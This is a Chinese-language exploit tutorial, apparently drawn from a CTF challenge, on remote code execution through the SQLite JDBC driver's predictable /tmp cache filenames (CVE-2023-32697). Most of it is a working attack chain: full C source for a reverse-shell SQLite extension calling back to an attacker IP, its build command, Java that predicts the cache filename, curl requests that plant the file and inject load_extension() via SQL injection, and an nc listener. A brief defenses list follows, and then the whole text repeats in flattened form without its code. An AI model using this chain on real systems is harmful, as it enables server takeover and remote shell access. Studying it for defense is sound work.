从一道题看利用sqlite打jdbc达到RCE
字数 1177 2025-08-22 18:37:22

SQLite JDBC RCE漏洞利用教学文档

漏洞概述

本教学文档详细讲解如何利用SQLite JDBC驱动中的漏洞(CVE-2023-32697)实现远程代码执行(RCE)。该漏洞源于SQLite数据库文件的缓存文件在tmp目录下文件名可预测,结合SQL注入漏洞,可通过load_extension()函数加载恶意.so文件实现代码执行。

漏洞原理

  1. SQLite JDBC缓存机制:当通过JDBC连接远程SQLite数据库时,SQLite JDBC驱动会在/tmp目录下创建临时缓存文件,文件名格式为/tmp/sqlite-jdbc-tmp-[hash].db,其中hash可通过URL的hashCode()计算得出。

  2. load_extension函数:SQLite提供了load_extension()函数用于加载外部扩展库,当结合SQL注入漏洞时,可被利用来加载恶意.so文件。

  3. 漏洞利用链

    • 预测缓存文件名
    • 通过SQL注入执行load_extension()
    • 加载恶意.so文件实现RCE

环境准备

攻击者环境

  1. 一台VPS服务器(用于托管恶意.so文件和SQLite数据库文件)
  2. 编译环境(gcc)
  3. 监听工具(nc等)

目标环境

  1. 使用SQLite JDBC驱动的Java应用
  2. 存在SQL注入漏洞
  3. 允许加载外部扩展

漏洞利用步骤

第一步:生成恶意.so文件

  1. 编写恶意C代码(poc.c):
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>

SQLITE_EXTENSION_INIT1

/* 配置TCP连接参数 */
int tcp_port = 5555;
char *ip = "攻击者IP";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);
    
    int fd;
    if ((fork()) <= 0) {
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(tcp_port);
        addr.sin_addr.s_addr = inet_addr(ip);
        
        fd = socket(AF_INET, SOCK_STREAM, 0);
        if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
            exit(0);
        }
        
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);
        
        execve("/bin/bash", NULL, NULL);
    }
    return rc;
}
  1. 编译为.so文件:
gcc -g -fPIC -shared poc.c -o poc.so

第二步:预测缓存文件名

  1. 使用Java代码预测缓存文件名:
package org.example;

import java.net.MalformedURLException;
import java.net.URL;

public class filename {
    public static void main(String[] args) throws MalformedURLException {
        String so = "http://vpsip:port/poc.so";
        String url = so;
        String filename = "/tmp/sqlite-jdbc-tmp-" + new URL(url).hashCode() + ".db";
        System.out.printf(filename);
    }
}

第三步:上传恶意缓存文件

  1. 通过JDBC连接强制创建缓存文件:
curl --header "Content-Type: application/json" --request POST \
--data "{ \"type\": 3, \"url\": \"jdbc:sqlite::resource:http://vpsip:port/poc.so\", \"tableName\": \"security\" }" \
http://target:port/jdbc/connect

此时会在目标服务器的/tmp目录下创建缓存文件,如/tmp/sqlite-jdbc-tmp-840682179.db

第四步:准备正常SQLite数据库文件

  1. 创建一个包含user表的正常SQLite数据库文件(111.db)
  2. 上传到VPS服务器

第五步:执行SQL注入加载恶意扩展

  1. 通过SQL注入执行load_extension():
curl --header "Content-Type: application/json" --request POST \
--data "{ \"type\": 3, \"url\": \"jdbc:sqlite::resource:http://vpsip:port/111.db\", \"tableName\": \"user union select 1,load_extension('/tmp/sqlite-jdbc-tmp-39093542.db');-- \" }" \
http://target:port/jdbc/connect

第六步:获取反弹shell

  1. 在攻击者服务器上监听指定端口:
nc -lvnp 5555
  1. 当恶意.so文件被加载后,将获得目标服务器的shell访问权限

防御措施

  1. 禁用load_extension:在SQLite连接字符串中添加enable_load_extension=false参数

  2. 输入验证:对所有用户输入进行严格的验证和过滤,防止SQL注入

  3. 文件权限:限制/tmp目录的写入权限

  4. 更新驱动:使用最新版本的SQLite JDBC驱动

  5. 安全配置:在Java安全策略中限制不受信任的代码加载

总结

本漏洞利用SQLite JDBC驱动的缓存机制和SQL注入漏洞,通过预测缓存文件名并加载恶意扩展实现RCE。防御关键在于禁用不必要的功能、严格输入验证和保持组件更新。

SQLite JDBC RCE漏洞利用教学文档 漏洞概述 本教学文档详细讲解如何利用SQLite JDBC驱动中的漏洞(CVE-2023-32697)实现远程代码执行(RCE)。该漏洞源于SQLite数据库文件的缓存文件在tmp目录下文件名可预测,结合SQL注入漏洞,可通过load_ extension()函数加载恶意.so文件实现代码执行。 漏洞原理 SQLite JDBC缓存机制 :当通过JDBC连接远程SQLite数据库时,SQLite JDBC驱动会在/tmp目录下创建临时缓存文件,文件名格式为 /tmp/sqlite-jdbc-tmp-[hash].db ,其中hash可通过URL的hashCode()计算得出。 load_ extension函数 :SQLite提供了load_ extension()函数用于加载外部扩展库,当结合SQL注入漏洞时,可被利用来加载恶意.so文件。 漏洞利用链 : 预测缓存文件名 通过SQL注入执行load_ extension() 加载恶意.so文件实现RCE 环境准备 攻击者环境 一台VPS服务器(用于托管恶意.so文件和SQLite数据库文件) 编译环境(gcc) 监听工具(nc等) 目标环境 使用SQLite JDBC驱动的Java应用 存在SQL注入漏洞 允许加载外部扩展 漏洞利用步骤 第一步:生成恶意.so文件 编写恶意C代码(poc.c): 编译为.so文件: 第二步:预测缓存文件名 使用Java代码预测缓存文件名: 第三步:上传恶意缓存文件 通过JDBC连接强制创建缓存文件: 此时会在目标服务器的 /tmp 目录下创建缓存文件,如 /tmp/sqlite-jdbc-tmp-840682179.db 第四步:准备正常SQLite数据库文件 创建一个包含user表的正常SQLite数据库文件(111.db) 上传到VPS服务器 第五步:执行SQL注入加载恶意扩展 通过SQL注入执行load_ extension(): 第六步:获取反弹shell 在攻击者服务器上监听指定端口: 当恶意.so文件被加载后,将获得目标服务器的shell访问权限 防御措施 禁用load_ extension :在SQLite连接字符串中添加 enable_load_extension=false 参数 输入验证 :对所有用户输入进行严格的验证和过滤,防止SQL注入 文件权限 :限制/tmp目录的写入权限 更新驱动 :使用最新版本的SQLite JDBC驱动 安全配置 :在Java安全策略中限制不受信任的代码加载 总结 本漏洞利用SQLite JDBC驱动的缓存机制和SQL注入漏洞,通过预测缓存文件名并加载恶意扩展实现RCE。防御关键在于禁用不必要的功能、严格输入验证和保持组件更新。